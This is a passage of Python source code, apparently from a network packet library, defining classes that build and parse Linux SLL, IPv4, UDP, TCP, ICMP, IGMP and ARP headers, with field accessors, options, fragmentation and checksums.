< 8): addr += b'\0' * (8 - len(addr)) self.get_bytes()[6:14] = addr def get_addr(self): "Returns the sender's address field" return array_tobytes(self.get_bytes()[6:14]) def set_ether_type(self, aValue): "Set ethernet data type field to 'aValue'" self.set_word(14, aValue) def get_ether_type(self): "Return ethernet data type field" return self.get_word(14) def get_header_size(self): "Return size of packet header" return 16 def get_packet(self): if self.child(): self.set_ether_type(self.child().ethertype) return Header.get_packet(self) def get_type_desc(self): type = self.get_type() if type < len(LinuxSLL.type_descriptions): return LinuxSLL.type_descriptions[type] else: return "Unknown" def __str__(self): ss = [] alen = self.get_addr_len() addr = hexlify(self.get_addr()[0:alen]) ss.append("Linux SLL: addr=%s type=`%s'" % (addr, self.get_type_desc())) if self.child(): ss.append(str(self.child())) return '\n'.join(ss) class IP(Header): ethertype = 0x800 def __init__(self, aBuffer = None): Header.__init__(self, 20) self.set_ip_v(4) self.set_ip_hl(5) self.set_ip_ttl(255) self.__option_list = [] if(aBuffer): # When decoding, checksum shouldn't be modified self.auto_checksum = 0 self.load_header(aBuffer) if sys.platform.count('bsd'): self.is_BSD = True else: self.is_BSD = False def get_packet(self): # set protocol if self.get_ip_p() == 0 and self.child(): self.set_ip_p(self.child().protocol) # set total length if self.get_ip_len() == 0: self.set_ip_len(self.get_size()) child_data = self.get_data_as_string() if self.auto_checksum: self.reset_ip_sum() my_bytes = self.get_bytes() for op in self.__option_list: my_bytes.extend(op.get_bytes()) # Pad to a multiple of 4 bytes num_pad = (4 - (len(my_bytes) % 4)) % 4 if num_pad: array_frombytes(my_bytes, b"\0" * num_pad) # only change ip_hl value if options are present if len(self.__option_list): self.set_ip_hl(len(my_bytes) // 4) # set the checksum if the user hasn't modified it if self.auto_checksum: self.set_ip_sum(self.compute_checksum(my_bytes)) if child_data is None: return array_tobytes(my_bytes) else: return array_tobytes(my_bytes) + child_data # def calculate_checksum(self, buffer = None): # tmp_value = self.get_ip_sum() # if self.auto_checksum and (not tmp_value): # if buffer: # tmp_bytes = buffer # else: # tmp_bytes = self.bytes[0:self.get_header_size()] # # self.set_ip_sum(self.compute_checksum(tmp_bytes)) def get_pseudo_header(self): pseudo_buf = array.array("B") pseudo_buf.extend(self.get_bytes()[12:20]) pseudo_buf.fromlist([0]) pseudo_buf.extend(self.get_bytes()[9:10]) tmp_size = self.child().get_size() size_str = struct.pack("!H", tmp_size) array_frombytes(pseudo_buf, size_str) return pseudo_buf def add_option(self, option): self.__option_list.append(option) sum = 0 for op in self.__option_list: sum += op.get_len() if sum > 40: raise ImpactPacketException("Options overflowed in IP packet with length: %d" % sum) def get_ip_v(self): n = self.get_byte(0) return (n >> 4) def set_ip_v(self, value): n = self.get_byte(0) version = value & 0xF n = n & 0xF n = n | (version << 4) self.set_byte(0, n) def get_ip_hl(self): n = self.get_byte(0) return (n & 0xF) def set_ip_hl(self, value): n = self.get_byte(0) len = value & 0xF n = n & 0xF0 n = (n | len) self.set_byte(0, n) def get_ip_tos(self): return self.get_byte(1) def set_ip_tos(self,value): self.set_byte(1, value) def get_ip_len(self): if self.is_BSD: return self.get_word(2, order = '=') else: return self.get_word(2) def set_ip_len(self, value): if self.is_BSD: self.set_word(2, value, order = '=') else: self.set_word(2, value) def get_ip_id(self): return self.get_word(4) def set_ip_id(self, value): return self.set_word(4, value) def get_ip_off(self): if self.is_BSD: return self.get_word(6, order = '=') else: return self.get_word(6) def set_ip_off(self, aValue): if self.is_BSD: self.set_word(6, aValue, order = '=') else: self.set_word(6, aValue) def get_ip_offmask(self): return self.get_ip_off() & 0x1FFF def set_ip_offmask(self, aValue): tmp_value = self.get_ip_off() & 0xD000 tmp_value |= aValue self.set_ip_off(tmp_value) def get_ip_rf(self): return self.get_ip_off() & 0x8000 def set_ip_rf(self, aValue): tmp_value = self.get_ip_off() if aValue: tmp_value |= 0x8000 else: my_not = 0xFFFF ^ 0x8000 tmp_value &= my_not self.set_ip_off(tmp_value) def get_ip_df(self): return self.get_ip_off() & 0x4000 def set_ip_df(self, aValue): tmp_value = self.get_ip_off() if aValue: tmp_value |= 0x4000 else: my_not = 0xFFFF ^ 0x4000 tmp_value &= my_not self.set_ip_off(tmp_value) def get_ip_mf(self): return self.get_ip_off() & 0x2000 def set_ip_mf(self, aValue): tmp_value = self.get_ip_off() if aValue: tmp_value |= 0x2000 else: my_not = 0xFFFF ^ 0x2000 tmp_value &= my_not self.set_ip_off(tmp_value) def fragment_by_list(self, aList): if self.child(): proto = self.child().protocol else: proto = 0 child_data = self.get_data_as_string() if not child_data: return [self] ip_header_bytes = self.get_bytes() current_offset = 0 fragment_list = [] for frag_size in aList: ip = IP() ip.set_bytes(ip_header_bytes) # copy of original header ip.set_ip_p(proto) if frag_size % 8: # round this fragment size up to next multiple of 8 frag_size += 8 - (frag_size % 8) ip.set_ip_offmask(current_offset // 8) current_offset += frag_size data = Data(child_data[:frag_size]) child_data = child_data[frag_size:] ip.set_ip_len(20 + data.get_size()) ip.contains(data) if child_data: ip.set_ip_mf(1) fragment_list.append(ip) else: # no more data bytes left to add to fragments ip.set_ip_mf(0) fragment_list.append(ip) return fragment_list if child_data: # any remaining data? # create a fragment containing all of the remaining child_data ip = IP() ip.set_bytes(ip_header_bytes) ip.set_ip_offmask(current_offset) ip.set_ip_len(20 + len(child_data)) data = Data(child_data) ip.contains(data) fragment_list.append(ip) return fragment_list def fragment_by_size(self, aSize): data_len = len(self.get_data_as_string()) num_frags = data_len // aSize if data_len % aSize: num_frags += 1 size_list = [] for i in range(0, num_frags): size_list.append(aSize) return self.fragment_by_list(size_list) def get_ip_ttl(self): return self.get_byte(8) def set_ip_ttl(self, value): self.set_byte(8, value) def get_ip_p(self): return self.get_byte(9) def set_ip_p(self, value): self.set_byte(9, value) def get_ip_sum(self): return self.get_word(10) def set_ip_sum(self, value): self.auto_checksum = 0 self.set_word(10, value) def reset_ip_sum(self): self.set_ip_sum(0x0000) self.auto_checksum = 1 def get_ip_src(self): return self.get_ip_address(12) def set_ip_src(self, value): self.set_ip_address(12, value) def get_ip_dst(self): return self.get_ip_address(16) def set_ip_dst(self, value): self.set_ip_address(16, value) def get_header_size(self): op_len = 0 for op in self.__option_list: op_len += op.get_len() num_pad = (4 - (op_len % 4)) % 4 return 20 + op_len + num_pad def load_header(self, aBuffer): self.set_bytes_from_string(aBuffer[:20]) opt_left = (self.get_ip_hl() - 5) * 4 opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) if len(opt_bytes) != opt_left: raise ImpactPacketException("Cannot load options from truncated packet") while opt_left: op_type = opt_bytes[0] if op_type == IPOption.IPOPT_EOL or op_type == IPOption.IPOPT_NOP: new_option = IPOption(op_type) op_len = 1 else: op_len = opt_bytes[1] if op_len > len(opt_bytes): raise ImpactPacketException("IP Option length is too high") new_option = IPOption(op_type, op_len) new_option.set_bytes(opt_bytes[:op_len]) opt_bytes = opt_bytes[op_len:] opt_left -= op_len self.add_option(new_option) if op_type == IPOption.IPOPT_EOL: break def __str__(self): flags = ' ' if self.get_ip_df(): flags += 'DF ' if self.get_ip_mf(): flags += 'MF ' if self.get_ip_rf(): flags += 'RF ' tmp_str = 'IP%s%s -> %s ' % (flags, self.get_ip_src(),self.get_ip_dst()) for op in self.__option_list: tmp_str += '\n' + str(op) if self.child(): tmp_str += '\n' + str(self.child()) return tmp_str class IPOption(PacketBuffer): IPOPT_EOL = 0 IPOPT_NOP = 1 IPOPT_RR = 7 IPOPT_TS = 68 IPOPT_LSRR = 131 IPOPT_SSRR = 137 def __init__(self, opcode = 0, size = None): if size and (size < 3 or size > 40): raise ImpactPacketException("IP Options must have a size between 3 and 40 bytes") if(opcode == IPOption.IPOPT_EOL): PacketBuffer.__init__(self, 1) self.set_code(IPOption.IPOPT_EOL) elif(opcode == IPOption.IPOPT_NOP): PacketBuffer.__init__(self, 1) self.set_code(IPOption.IPOPT_NOP) elif(opcode == IPOption.IPOPT_RR): if not size: size = 39 PacketBuffer.__init__(self, size) self.set_code(IPOption.IPOPT_RR) self.set_len(size) self.set_ptr(4) elif(opcode == IPOption.IPOPT_LSRR): if not size: size = 39 PacketBuffer.__init__(self, size) self.set_code(IPOption.IPOPT_LSRR) self.set_len(size) self.set_ptr(4) elif(opcode == IPOption.IPOPT_SSRR): if not size: size = 39 PacketBuffer.__init__(self, size) self.set_code(IPOption.IPOPT_SSRR) self.set_len(size) self.set_ptr(4) elif(opcode == IPOption.IPOPT_TS): if not size: size = 40 PacketBuffer.__init__(self, size) self.set_code(IPOption.IPOPT_TS) self.set_len(size) self.set_ptr(5) self.set_flags(0) else: if not size: raise ImpactPacketException("Size required for this type") PacketBuffer.__init__(self,size) self.set_code(opcode) self.set_len(size) def append_ip(self, ip): op = self.get_code() if not (op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op == IPOption.IPOPT_SSRR or op == IPOption.IPOPT_TS): raise ImpactPacketException("append_ip() not support for option type %d" % self.opt_type) p = self.get_ptr() if not p: raise ImpactPacketException("append_ip() failed, option ptr uninitialized") if (p + 4) > self.get_len(): raise ImpactPacketException("append_ip() would overflow option") self.set_ip_address(p - 1, ip) p += 4 self.set_ptr(p) def set_code(self, value): self.set_byte(0, value) def get_code(self): return self.get_byte(0) def set_flags(self, flags): if not (self.get_code() == IPOption.IPOPT_TS): raise ImpactPacketException("Operation only supported on Timestamp option") self.set_byte(3, flags) def get_flags(self, flags): if not (self.get_code() == IPOption.IPOPT_TS): raise ImpactPacketException("Operation only supported on Timestamp option") return self.get_byte(3) def set_len(self, len): self.set_byte(1, len) def set_ptr(self, ptr): self.set_byte(2, ptr) def get_ptr(self): return self.get_byte(2) def get_len(self): return len(self.get_bytes()) def __str__(self): map = {IPOption.IPOPT_EOL : "End of List ", IPOption.IPOPT_NOP : "No Operation ", IPOption.IPOPT_RR : "Record Route ", IPOption.IPOPT_TS : "Timestamp ", IPOption.IPOPT_LSRR : "Loose Source Route ", IPOption.IPOPT_SSRR : "Strict Source Route "} tmp_str = "\tIP Option: " op = self.get_code() if op in map: tmp_str += map[op] else: tmp_str += "Code: %d " % op if op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op ==IPOption.IPOPT_SSRR: tmp_str += self.print_addresses() return tmp_str def print_addresses(self): p = 3 tmp_str = "[" if self.get_len() >= 7: # at least one complete IP address while 1: if p + 1 == self.get_ptr(): tmp_str += "#" tmp_str += self.get_ip_address(p) p += 4 if p >= self.get_len(): break else: tmp_str += ", " tmp_str += "] " if self.get_ptr() % 4: # ptr field should be a multiple of 4 tmp_str += "nonsense ptr field: %d " % self.get_ptr() return tmp_str class UDP(Header): protocol = 17 def __init__(self, aBuffer = None): Header.__init__(self, 8) if(aBuffer): self.load_header(aBuffer) def get_uh_sport(self): return self.get_word(0) def set_uh_sport(self, value): self.set_word(0, value) def get_uh_dport(self): return self.get_word(2) def set_uh_dport(self, value): self.set_word(2, value) def get_uh_ulen(self): return self.get_word(4) def set_uh_ulen(self, value): self.set_word(4, value) def get_uh_sum(self): return self.get_word(6) def set_uh_sum(self, value): self.set_word(6, value) self.auto_checksum = 0 def calculate_checksum(self): if self.auto_checksum and (not self.get_uh_sum()): # if there isn't a parent to grab a pseudo-header from we'll assume the user knows what they're doing # and won't meddle with the checksum or throw an exception if not self.parent(): return buffer = self.parent().get_pseudo_header() buffer += self.get_bytes() data = self.get_data_as_string() if(data): array_frombytes(buffer, data) self.set_uh_sum(self.compute_checksum(buffer)) def get_header_size(self): return 8 def __str__(self): tmp_str = 'UDP %d -> %d' % (self.get_uh_sport(), self.get_uh_dport()) if self.child(): tmp_str += '\n' + str(self.child()) return tmp_str def get_packet(self): # set total length if(self.get_uh_ulen() == 0): self.set_uh_ulen(self.get_size()) return Header.get_packet(self) class TCP(Header): protocol = 6 TCP_FLAGS_MASK = 0x00FF # lowest 16 bits are the flags def __init__(self, aBuffer = None): Header.__init__(self, 20) self.set_th_off(5) self.__option_list = [] if aBuffer: self.load_header(aBuffer) def add_option(self, option): self.__option_list.append(option) sum = 0 for op in self.__option_list: sum += op.get_size() if sum > 40: raise ImpactPacketException("Cannot add TCP option, would overflow option space") def get_options(self): return self.__option_list def swapSourceAndDestination(self): oldSource = self.get_th_sport() self.set_th_sport(self.get_th_dport()) self.set_th_dport(oldSource) # # Header field accessors # def set_th_sport(self, aValue): self.set_word(0, aValue) def get_th_sport(self): return self.get_word(0) def get_th_dport(self): return self.get_word(2) def set_th_dport(self, aValue): self.set_word(2, aValue) def get_th_seq(self): return self.get_long(4) def set_th_seq(self, aValue): self.set_long(4, aValue) def get_th_ack(self): return self.get_long(8) def set_th_ack(self, aValue): self.set_long(8, aValue) def get_th_flags(self): return self.get_word(12) & self.TCP_FLAGS_MASK def set_th_flags(self, aValue): masked = self.get_word(12) & (~self.TCP_FLAGS_MASK) nb = masked | (aValue & self.TCP_FLAGS_MASK) return self.set_word(12, nb, ">") def get_th_win(self): return self.get_word(14) def set_th_win(self, aValue): self.set_word(14, aValue) def set_th_sum(self, aValue): self.set_word(16, aValue) self.auto_checksum = 0 def get_th_sum(self): return self.get_word(16) def get_th_urp(self): return self.get_word(18) def set_th_urp(self, aValue): return self.set_word(18, aValue) # Flag accessors def get_th_reserved(self): tmp_value = self.get_byte(12) & 0x0f return tmp_value def get_th_off(self): tmp_value = self.get_byte(12) >> 4 return tmp_value def set_th_off(self, aValue): mask = 0xF0 masked = self.get_byte(12) & (~mask) nb = masked | ( (aValue << 4) & mask) return self.set_byte(12, nb) def get_CWR(self): return self.get_flag(128) def set_CWR(self): return self.set_flags(128) def reset_CWR(self): return self.reset_flags(128) def get_ECE(self): return self.get_flag(64) def set_ECE(self): return self.set_flags(64) def reset_ECE(self): return self.reset_flags(64) def get_URG(self): return self.get_flag(32) def set_URG(self): return self.set_flags(32) def reset_URG(self): return self.reset_flags(32) def get_ACK(self): return self.get_flag(16) def set_ACK(self): return self.set_flags(16) def reset_ACK(self): return self.reset_flags(16) def get_PSH(self): return self.get_flag(8) def set_PSH(self): return self.set_flags(8) def reset_PSH(self): return self.reset_flags(8) def get_RST(self): return self.get_flag(4) def set_RST(self): return self.set_flags(4) def reset_RST(self): return self.reset_flags(4) def get_SYN(self): return self.get_flag(2) def set_SYN(self): return self.set_flags(2) def reset_SYN(self): return self.reset_flags(2) def get_FIN(self): return self.get_flag(1) def set_FIN(self): return self.set_flags(1) def reset_FIN(self): return self.reset_flags(1) # Overridden Methods def get_header_size(self): return 20 + len(self.get_padded_options()) def calculate_checksum(self): if not self.auto_checksum or not self.parent(): return self.set_th_sum(0) buffer = self.parent().get_pseudo_header() buffer += self.get_bytes() buffer += self.get_padded_options() data = self.get_data_as_string() if(data): array_frombytes(buffer, data) res = self.compute_checksum(buffer) self.set_th_sum(self.compute_checksum(buffer)) def get_packet(self): "Returns entire packet including child data as a string. This is the function used to extract the final packet" # only change th_off value if options are present if len(self.__option_list): self.set_th_off(self.get_header_size() // 4) self.calculate_checksum() bytes = self.get_bytes() + self.get_padded_options() data = self.get_data_as_string() if data: return array_tobytes(bytes) + data else: return array_tobytes(bytes) def load_header(self, aBuffer): self.set_bytes_from_string(aBuffer[:20]) opt_left = (self.get_th_off() - 5) * 4 opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) if len(opt_bytes) != opt_left: raise ImpactPacketException("Cannot load options from truncated packet") while opt_left: op_kind = opt_bytes[0] if op_kind == TCPOption.TCPOPT_EOL or op_kind == TCPOption.TCPOPT_NOP: new_option = TCPOption(op_kind) op_len = 1 else: op_len = opt_bytes[1] if op_len > len(opt_bytes): raise ImpactPacketException("TCP Option length is too high") if op_len < 2: raise ImpactPacketException("TCP Option length is too low") new_option = TCPOption(op_kind) new_option.set_bytes(opt_bytes[:op_len]) opt_bytes = opt_bytes[op_len:] opt_left -= op_len self.add_option(new_option) if op_kind == TCPOption.TCPOPT_EOL: break # # Private # def get_flag(self, bit): if self.get_th_flags() & bit: return 1 else: return 0 def reset_flags(self, aValue): tmp_value = self.get_th_flags() & (~aValue) return self.set_th_flags(tmp_value) def set_flags(self, aValue): tmp_value = self.get_th_flags() | aValue return self.set_th_flags(tmp_value) def get_padded_options(self): "Return an array containing all options padded to a 4 byte boundary" op_buf = array.array('B') for op in self.__option_list: op_buf += op.get_bytes() num_pad = (4 - (len(op_buf) % 4)) % 4 if num_pad: array_frombytes(op_buf, b"\0" * num_pad) return op_buf def __str__(self): tmp_str = 'TCP ' if self.get_ECE(): tmp_str += 'ece ' if self.get_CWR(): tmp_str += 'cwr ' if self.get_ACK(): tmp_str += 'ack ' if self.get_FIN(): tmp_str += 'fin ' if self.get_PSH(): tmp_str += 'push ' if self.get_RST(): tmp_str += 'rst ' if self.get_SYN(): tmp_str += 'syn ' if self.get_URG(): tmp_str += 'urg ' tmp_str += '%d -> %d' % (self.get_th_sport(), self.get_th_dport()) for op in self.__option_list: tmp_str += '\n' + str(op) if self.child(): tmp_str += '\n' + str(self.child()) return tmp_str class TCPOption(PacketBuffer): TCPOPT_EOL = 0 TCPOPT_NOP = 1 TCPOPT_MAXSEG = 2 TCPOPT_WINDOW = 3 TCPOPT_SACK_PERMITTED = 4 TCPOPT_SACK = 5 TCPOPT_TIMESTAMP = 8 TCPOPT_SIGNATURE = 19 def __init__(self, kind, data = None): if kind == TCPOption.TCPOPT_EOL: PacketBuffer.__init__(self, 1) self.set_kind(TCPOption.TCPOPT_EOL) elif kind == TCPOption.TCPOPT_NOP: PacketBuffer.__init__(self, 1) self.set_kind(TCPOption.TCPOPT_NOP) elif kind == TCPOption.TCPOPT_MAXSEG: PacketBuffer.__init__(self, 4) self.set_kind(TCPOption.TCPOPT_MAXSEG) self.set_len(4) if data: self.set_mss(data) else: self.set_mss(512) elif kind == TCPOption.TCPOPT_WINDOW: PacketBuffer.__init__(self, 3) self.set_kind(TCPOption.TCPOPT_WINDOW) self.set_len(3) if data: self.set_shift_cnt(data) else: self.set_shift_cnt(0) elif kind == TCPOption.TCPOPT_TIMESTAMP: PacketBuffer.__init__(self, 10) self.set_kind(TCPOption.TCPOPT_TIMESTAMP) self.set_len(10) if data: self.set_ts(data) else: self.set_ts(0) elif kind == TCPOption.TCPOPT_SACK_PERMITTED: PacketBuffer.__init__(self, 2) self.set_kind(TCPOption.TCPOPT_SACK_PERMITTED) self.set_len(2) elif kind == TCPOption.TCPOPT_SACK: PacketBuffer.__init__(self, 2) self.set_kind(TCPOption.TCPOPT_SACK) def set_left_edge(self, aValue): self.set_long (2, aValue) def set_right_edge(self, aValue): self.set_long (6, aValue) def set_kind(self, kind): self.set_byte(0, kind) def get_kind(self): return self.get_byte(0) def set_len(self, len): if self.get_size() < 2: raise ImpactPacketException("Cannot set length field on an option having a size smaller than 2 bytes") self.set_byte(1, len) def get_len(self): if self.get_size() < 2: raise ImpactPacketException("Cannot retrieve length field from an option having a size smaller than 2 bytes") return self.get_byte(1) def get_size(self): return len(self.get_bytes()) def set_mss(self, len): if self.get_kind() != TCPOption.TCPOPT_MAXSEG: raise ImpactPacketException("Can only set MSS on TCPOPT_MAXSEG option") self.set_word(2, len) def get_mss(self): if self.get_kind() != TCPOption.TCPOPT_MAXSEG: raise ImpactPacketException("Can only retrieve MSS from TCPOPT_MAXSEG option") return self.get_word(2) def set_shift_cnt(self, cnt): if self.get_kind() != TCPOption.TCPOPT_WINDOW: raise ImpactPacketException("Can only set Shift Count on TCPOPT_WINDOW option") self.set_byte(2, cnt) def get_shift_cnt(self): if self.get_kind() != TCPOption.TCPOPT_WINDOW: raise ImpactPacketException("Can only retrieve Shift Count from TCPOPT_WINDOW option") return self.get_byte(2) def get_ts(self): if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option") return self.get_long(2) def set_ts(self, ts): if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option") self.set_long(2, ts) def get_ts_echo(self): if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: raise ImpactPacketException("Can only retrieve timestamp from TCPOPT_TIMESTAMP option") return self.get_long(6) def set_ts_echo(self, ts): if self.get_kind() != TCPOption.TCPOPT_TIMESTAMP: raise ImpactPacketException("Can only set timestamp on TCPOPT_TIMESTAMP option") self.set_long(6, ts) def __str__(self): map = { TCPOption.TCPOPT_EOL : "End of List ", TCPOption.TCPOPT_NOP : "No Operation ", TCPOption.TCPOPT_MAXSEG : "Maximum Segment Size ", TCPOption.TCPOPT_WINDOW : "Window Scale ", TCPOption.TCPOPT_TIMESTAMP : "Timestamp " } tmp_str = "\tTCP Option: " op = self.get_kind() if op in map: tmp_str += map[op] else: tmp_str += " kind: %d " % op if op == TCPOption.TCPOPT_MAXSEG: tmp_str += " MSS : %d " % self.get_mss() elif op == TCPOption.TCPOPT_WINDOW: tmp_str += " Shift Count: %d " % self.get_shift_cnt() elif op == TCPOption.TCPOPT_TIMESTAMP: pass # TODO return tmp_str class ICMP(Header): protocol = 1 ICMP_ECHOREPLY = 0 ICMP_UNREACH = 3 ICMP_UNREACH_NET = 0 ICMP_UNREACH_HOST = 1 ICMP_UNREACH_PROTOCOL = 2 ICMP_UNREACH_PORT = 3 ICMP_UNREACH_NEEDFRAG = 4 ICMP_UNREACH_SRCFAIL = 5 ICMP_UNREACH_NET_UNKNOWN = 6 ICMP_UNREACH_HOST_UNKNOWN = 7 ICMP_UNREACH_ISOLATED = 8 ICMP_UNREACH_NET_PROHIB = 9 ICMP_UNREACH_HOST_PROHIB = 10 ICMP_UNREACH_TOSNET = 11 ICMP_UNREACH_TOSHOST = 12 ICMP_UNREACH_FILTERPROHIB = 13 ICMP_UNREACH_HOST_PRECEDENCE = 14 ICMP_UNREACH_PRECEDENCE_CUTOFF = 15 ICMP_SOURCEQUENCH = 4 ICMP_REDIRECT = 5 ICMP_REDIRECT_NET = 0 ICMP_REDIRECT_HOST = 1 ICMP_REDIRECT_TOSNET = 2 ICMP_REDIRECT_TOSHOST = 3 ICMP_ALTHOSTADDR = 6 ICMP_ECHO = 8 ICMP_ROUTERADVERT = 9 ICMP_ROUTERSOLICIT = 10 ICMP_TIMXCEED = 11 ICMP_TIMXCEED_INTRANS = 0 ICMP_TIMXCEED_REASS = 1 ICMP_PARAMPROB = 12 ICMP_PARAMPROB_ERRATPTR = 0 ICMP_PARAMPROB_OPTABSENT = 1 ICMP_PARAMPROB_LENGTH = 2 ICMP_TSTAMP = 13 ICMP_TSTAMPREPLY = 14 ICMP_IREQ = 15 ICMP_IREQREPLY = 16 ICMP_MASKREQ = 17 ICMP_MASKREPLY = 18 def __init__(self, aBuffer = None): Header.__init__(self, 8) if aBuffer: self.load_header(aBuffer) def get_header_size(self): anamolies = { ICMP.ICMP_TSTAMP : 20, ICMP.ICMP_TSTAMPREPLY : 20, ICMP.ICMP_MASKREQ : 12, ICMP.ICMP_MASKREPLY : 12 } if self.get_icmp_type() in anamolies: return anamolies[self.get_icmp_type()] else: return 8 def get_icmp_type(self): return self.get_byte(0) def set_icmp_type(self, aValue): self.set_byte(0, aValue) def get_icmp_code(self): return self.get_byte(1) def set_icmp_code(self, aValue): self.set_byte(1, aValue) def get_icmp_cksum(self): return self.get_word(2) def set_icmp_cksum(self, aValue): self.set_word(2, aValue) self.auto_checksum = 0 def get_icmp_gwaddr(self): return self.get_ip_address(4) def set_icmp_gwaddr(self, ip): self.set_ip_address(4, ip) def get_icmp_id(self): return self.get_word(4) def set_icmp_id(self, aValue): self.set_word(4, aValue) def get_icmp_seq(self): return self.get_word(6) def set_icmp_seq(self, aValue): self.set_word(6, aValue) def get_icmp_void(self): return self.get_long(4) def set_icmp_void(self, aValue): self.set_long(4, aValue) def get_icmp_nextmtu(self): return self.get_word(6) def set_icmp_nextmtu(self, aValue): self.set_word(6, aValue) def get_icmp_num_addrs(self): return self.get_byte(4) def set_icmp_num_addrs(self, aValue): self.set_byte(4, aValue) def get_icmp_wpa(self): return self.get_byte(5) def set_icmp_wpa(self, aValue): self.set_byte(5, aValue) def get_icmp_lifetime(self): return self.get_word(6) def set_icmp_lifetime(self, aValue): self.set_word(6, aValue) def get_icmp_otime(self): return self.get_long(8) def set_icmp_otime(self, aValue): self.set_long(8, aValue) def get_icmp_rtime(self): return self.get_long(12) def set_icmp_rtime(self, aValue): self.set_long(12, aValue) def get_icmp_ttime(self): return self.get_long(16) def set_icmp_ttime(self, aValue): self.set_long(16, aValue) def get_icmp_mask(self): return self.get_ip_address(8) def set_icmp_mask(self, mask): self.set_ip_address(8, mask) def calculate_checksum(self): if self.auto_checksum and (not self.get_icmp_cksum()): buffer = self.get_buffer_as_string() data = self.get_data_as_string() if data: buffer += data tmp_array = array.array('B', buffer) self.set_icmp_cksum(self.compute_checksum(tmp_array)) def get_type_name(self, aType): tmp_type = {0:'ECHOREPLY', 3:'UNREACH', 4:'SOURCEQUENCH',5:'REDIRECT', 6:'ALTHOSTADDR', 8:'ECHO', 9:'ROUTERADVERT', 10:'ROUTERSOLICIT', 11:'TIMXCEED', 12:'PARAMPROB', 13:'TSTAMP', 14:'TSTAMPREPLY', 15:'IREQ', 16:'IREQREPLY', 17:'MASKREQ', 18:'MASKREPLY', 30:'TRACEROUTE', 31:'DATACONVERR', 32:'MOBILE REDIRECT', 33:'IPV6 WHEREAREYOU', 34:'IPV6 IAMHERE', 35:'MOBILE REGREQUEST', 36:'MOBILE REGREPLY', 39:'SKIP', 40:'PHOTURIS'} answer = tmp_type.get(aType, 'UNKNOWN') return answer def get_code_name(self, aType, aCode): tmp_code = {3:['UNREACH NET', 'UNREACH HOST', 'UNREACH PROTOCOL', 'UNREACH PORT', 'UNREACH NEEDFRAG', 'UNREACH SRCFAIL', 'UNREACH NET UNKNOWN', 'UNREACH HOST UNKNOWN', 'UNREACH ISOLATED', 'UNREACH NET PROHIB', 'UNREACH HOST PROHIB', 'UNREACH TOSNET', 'UNREACH TOSHOST', 'UNREACH FILTER PROHIB', 'UNREACH HOST PRECEDENCE', 'UNREACH PRECEDENCE CUTOFF', 'UNKNOWN ICMP UNREACH']} tmp_code[5] = ['REDIRECT NET', 'REDIRECT HOST', 'REDIRECT TOSNET', 'REDIRECT TOSHOST'] tmp_code[9] = ['ROUTERADVERT NORMAL', None, None, None, None, None, None, None, None, None, None, None, None, None, None, None,'ROUTERADVERT NOROUTE COMMON'] tmp_code[11] = ['TIMXCEED INTRANS ', 'TIMXCEED REASS'] tmp_code[12] = ['PARAMPROB ERRATPTR ', 'PARAMPROB OPTABSENT', 'PARAMPROB LENGTH'] tmp_code[40] = [None, 'PHOTURIS UNKNOWN INDEX', 'PHOTURIS AUTH FAILED', 'PHOTURIS DECRYPT FAILED'] if aType in tmp_code: tmp_list = tmp_code[aType] if ((aCode + 1) > len(tmp_list)) or (not tmp_list[aCode]): return 'UNKNOWN' else: return tmp_list[aCode] else: return 'UNKNOWN' def __str__(self): tmp_type = self.get_icmp_type() tmp_code = self.get_icmp_code() tmp_str = 'ICMP type: ' + self.get_type_name(tmp_type) tmp_str+= ' code: ' + self.get_code_name(tmp_type, tmp_code) if self.child(): tmp_str += '\n' + str( self.child() ) return tmp_str def isDestinationUnreachable(self): return self.get_icmp_type() == 3 def isError(self): return not self.isQuery() def isHostUnreachable(self): return self.isDestinationUnreachable() and (self.get_icmp_code() == 1) def isNetUnreachable(self): return self.isDestinationUnreachable() and (self.get_icmp_code() == 0) def isPortUnreachable(self): return self.isDestinationUnreachable() and (self.get_icmp_code() == 3) def isProtocolUnreachable(self): return self.isDestinationUnreachable() and (self.get_icmp_code() == 2) def isQuery(self): tmp_dict = {8:'', 9:'', 10:'', 13:'', 14:'', 15:'', 16:'', 17:'', 18:''} return self.get_icmp_type() in tmp_dict class IGMP(Header): protocol = 2 def __init__(self, aBuffer = None): Header.__init__(self, 8) if aBuffer: self.load_header(aBuffer) def get_igmp_type(self): return self.get_byte(0) def set_igmp_type(self, aValue): self.set_byte(0, aValue) def get_igmp_code(self): return self.get_byte(1) def set_igmp_code(self, aValue): self.set_byte(1, aValue) def get_igmp_cksum(self): return self.get_word(2) def set_igmp_cksum(self, aValue): self.set_word(2, aValue) def get_igmp_group(self): return self.get_long(4) def set_igmp_group(self, aValue): self.set_long(4, aValue) def get_header_size(self): return 8 def get_type_name(self, aType): tmp_dict = {0x11:'HOST MEMBERSHIP QUERY ', 0x12:'v1 HOST MEMBERSHIP REPORT ', 0x13:'IGMP DVMRP ', 0x14:' PIM ', 0x16:'v2 HOST MEMBERSHIP REPORT ', 0x17:'HOST LEAVE MESSAGE ', 0x1e:'MTRACE REPLY ', 0X1f:'MTRACE QUERY '} answer = tmp_dict.get(aType, 'UNKNOWN TYPE OR VERSION ') return answer def calculate_checksum(self): if self.auto_checksum and (not self.get_igmp_cksum()): self.set_igmp_cksum(self.compute_checksum(self.get_bytes())) def __str__(self): tmp_str = 'IGMP: ' + self.get_type_name(self.get_igmp_type()) tmp_str += 'Group: ' + socket.inet_ntoa(struct.pack('!L',self.get_igmp_group())) if self.child(): tmp_str += '\n' + str(self.child()) return tmp_str class ARP(Header): ethertype = 0x806 def __init__(self, aBuffer = None): Header.__init__(self, 7) if aBuffer: self.load_header(aBuffer) def get_ar_hrd(self): return self.get_word(0) def set_ar_hrd(self, aValue): self.set_word(0, aValue) def get_ar_pro(self): return self.get_word(2) def set_ar_pro(self, aValue): self.set_word(2, aValue) def get_ar_hln(self): return self.get_byte(4) def set_ar_hln(self, aValue): self.set_byte(4, aValue) def get_ar_pln(self): return self.get_byte(5) def set_ar_pln(self, aValue): self.set_byte(5, aValue) def get_ar_op(self): return self.get_word(6) def set_ar_op(self, aValue): self.set_word(6, aValue) def get_ar_sha(self): tmp_size = self.get_ar_hln() return 